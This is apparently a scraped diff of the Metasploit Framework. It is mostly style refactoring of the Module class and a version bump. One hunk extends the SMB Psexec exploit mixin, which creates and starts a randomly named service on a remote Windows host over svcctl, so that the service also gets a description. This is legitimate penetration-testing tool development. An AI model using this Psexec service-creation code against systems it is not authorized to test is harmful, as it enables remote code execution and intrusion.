handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||
|
@ -72,6 +72,7 @@ module Exploit::Remote::SMB::Psexec
|
|||
end
|
||||
servicename = Rex::Text.rand_text_alpha(11)
|
||||
displayname = Rex::Text.rand_text_alpha(16)
|
||||
|
||||
svc_handle = nil
|
||||
svc_status = nil
|
||||
stubdata =
|
||||
|
@ -100,6 +101,22 @@ module Exploit::Remote::SMB::Psexec
|
|||
return false
|
||||
end
|
||||
|
||||
if service_description
|
||||
vprint_status("#{peer} - Changing service description...")
|
||||
stubdata =
|
||||
svc_handle +
|
||||
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
|
||||
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
|
||||
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
|
||||
NDR.long(0x04000200) +
|
||||
NDR.wstring(service_description)
|
||||
begin
|
||||
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
print_error("#{peer} - Error changing service description : #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Starting the service...")
|
||||
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
|
||||
begin
|
||||
|
|
|
@ -18,7 +18,7 @@ class Framework
|
|||
|
||||
Major = 4
|
||||
Minor = 9
|
||||
Point = 0
|
||||
Point = 2
|
||||
Release = "-dev"
|
||||
|
||||
if(Point)
|
||||
|
|
|
@ -34,11 +34,11 @@ class Module
|
|||
end
|
||||
|
||||
def fullname
|
||||
return type + '/' + refname
|
||||
type + '/' + refname
|
||||
end
|
||||
|
||||
def shortname
|
||||
return refname.split('/')[-1]
|
||||
refname.split('/').last
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -84,7 +84,7 @@ class Module
|
|||
# Returns the class reference to the framework
|
||||
#
|
||||
def framework
|
||||
return self.class.framework
|
||||
self.class.framework
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -178,6 +178,7 @@ class Module
|
|||
#
|
||||
|
||||
def print_prefix
|
||||
ret = ''
|
||||
if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || (
|
||||
framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i
|
||||
)
|
||||
|
@ -189,10 +190,9 @@ class Module
|
|||
prefix << "[%04d] " % xn
|
||||
end
|
||||
|
||||
return prefix
|
||||
else
|
||||
return ''
|
||||
ret = prefix
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
|
@ -257,7 +257,7 @@ class Module
|
|||
# payloads/windows/shell/reverse_tcp
|
||||
#
|
||||
def fullname
|
||||
return self.class.fullname
|
||||
self.class.fullname
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -267,28 +267,28 @@ class Module
|
|||
# windows/shell/reverse_tcp
|
||||
#
|
||||
def refname
|
||||
return self.class.refname
|
||||
self.class.refname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank.
|
||||
#
|
||||
def rank
|
||||
return self.class.rank
|
||||
self.class.rank
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank in string format.
|
||||
#
|
||||
def rank_to_s
|
||||
return self.class.rank_to_s
|
||||
self.class.rank_to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's rank in display format.
|
||||
#
|
||||
def rank_to_h
|
||||
return self.class.rank_to_h
|
||||
self.class.rank_to_h
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -299,14 +299,14 @@ class Module
|
|||
# reverse_tcp
|
||||
#
|
||||
def shortname
|
||||
return self.class.shortname
|
||||
self.class.shortname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unduplicated class associated with this module.
|
||||
#
|
||||
def orig_cls
|
||||
return self.class.orig_cls
|
||||
self.class.orig_cls
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -366,30 +366,14 @@ class Module
|
|||
# Returns the address of the last target host (rough estimate)
|
||||
#
|
||||
def target_host
|
||||
if(self.respond_to?('rhost'))
|
||||
return rhost()
|
||||
end
|
||||
|
||||
if(self.datastore['RHOST'])
|
||||
return self.datastore['RHOST']
|
||||
end
|
||||
|
||||
nil
|
||||
self.respond_to?('rhost') ? rhost : self.datastore['RHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the address of the last target port (rough estimate)
|
||||
#
|
||||
def target_port
|
||||
if(self.respond_to?('rport'))
|
||||
return rport()
|
||||
end
|
||||
|
||||
if(self.datastore['RPORT'])
|
||||
return self.datastore['RPORT']
|
||||
end
|
||||
|
||||
nil
|
||||
self.respond_to?('rport') ? rport : self.datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -516,7 +500,7 @@ class Module
|
|||
# Return a comma separated list of author for this module.
|
||||
#
|
||||
def author_to_s
|
||||
return author.collect { |author| author.to_s }.join(", ")
|
||||
author.collect { |author| author.to_s }.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -530,7 +514,7 @@ class Module
|
|||
# Return a comma separated list of supported architectures, if any.
|
||||
#
|
||||
def arch_to_s
|
||||
return arch.join(", ")
|
||||
arch.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -544,16 +528,18 @@ class Module
|
|||
# Return whether or not the module supports the supplied architecture.
|
||||
#
|
||||
def arch?(what)
|
||||
return true if (what == ARCH_ANY)
|
||||
|
||||
return arch.index(what) != nil
|
||||
if (what == ARCH_ANY)
|
||||
true
|
||||
else
|
||||
arch.index(what) != nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a comma separated list of supported platforms, if any.
|
||||
#
|
||||
def platform_to_s
|
||||
return ((platform.all?) ? [ "All" ] : platform.names).join(", ")
|
||||
platform.all? ? "All" : platform.names.join(", ")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -567,7 +553,7 @@ class Module
|
|||
# Returns whether or not the module requires or grants high privileges.
|
||||
#
|
||||
def privileged?
|
||||
return (privileged == true)
|
||||
privileged == true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -575,7 +561,7 @@ class Module
|
|||
# this somewhere else.
|
||||
#
|
||||
def comm
|
||||
return Rex::Socket::Comm::Local
|
||||
Rex::Socket::Comm::Local
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -749,7 +735,7 @@ class Module
|
|||
# Constants indicating the reason for an unsuccessful module attempt
|
||||
#
|
||||
module Failure
|
||||
|
||||
|
||||
#
|
||||
# No confidence in success or failure
|
||||
#
|
||||
|
@ -814,7 +800,7 @@ class Module
|
|||
# The payload was delivered but no session was opened (AV, network, etc)
|
||||
#
|
||||
PayloadFailed = 'payload-failed'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
|
@ -827,42 +813,42 @@ class Module
|
|||
# Returns true if this module is an exploit module.
|
||||
#
|
||||
def exploit?
|
||||
return (type == MODULE_EXPLOIT)
|
||||
(type == MODULE_EXPLOIT)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is a payload module.
|
||||
#
|
||||
def payload?
|
||||
return (type == MODULE_PAYLOAD)
|
||||
(type == MODULE_PAYLOAD)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an encoder module.
|
||||
#
|
||||
def encoder?
|
||||
return (type == MODULE_ENCODER)
|
||||
(type == MODULE_ENCODER)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is a nop module.
|
||||
#
|
||||
def nop?
|
||||
return (type == MODULE_NOP)
|
||||
(type == MODULE_NOP)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an auxiliary module.
|
||||
#
|
||||
def auxiliary?
|
||||
return (type == MODULE_AUX)
|
||||
(type == MODULE_AUX)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this module is an post-exploitation module.
|
||||
#
|
||||
def post?
|
||||
return (type == MODULE_POST)
|
||||
(type == MODULE_POST)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1073,7 +1059,7 @@ protected
|
|||
merge_check_key(info, name, val)
|
||||
}
|
||||
|
||||
return info
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue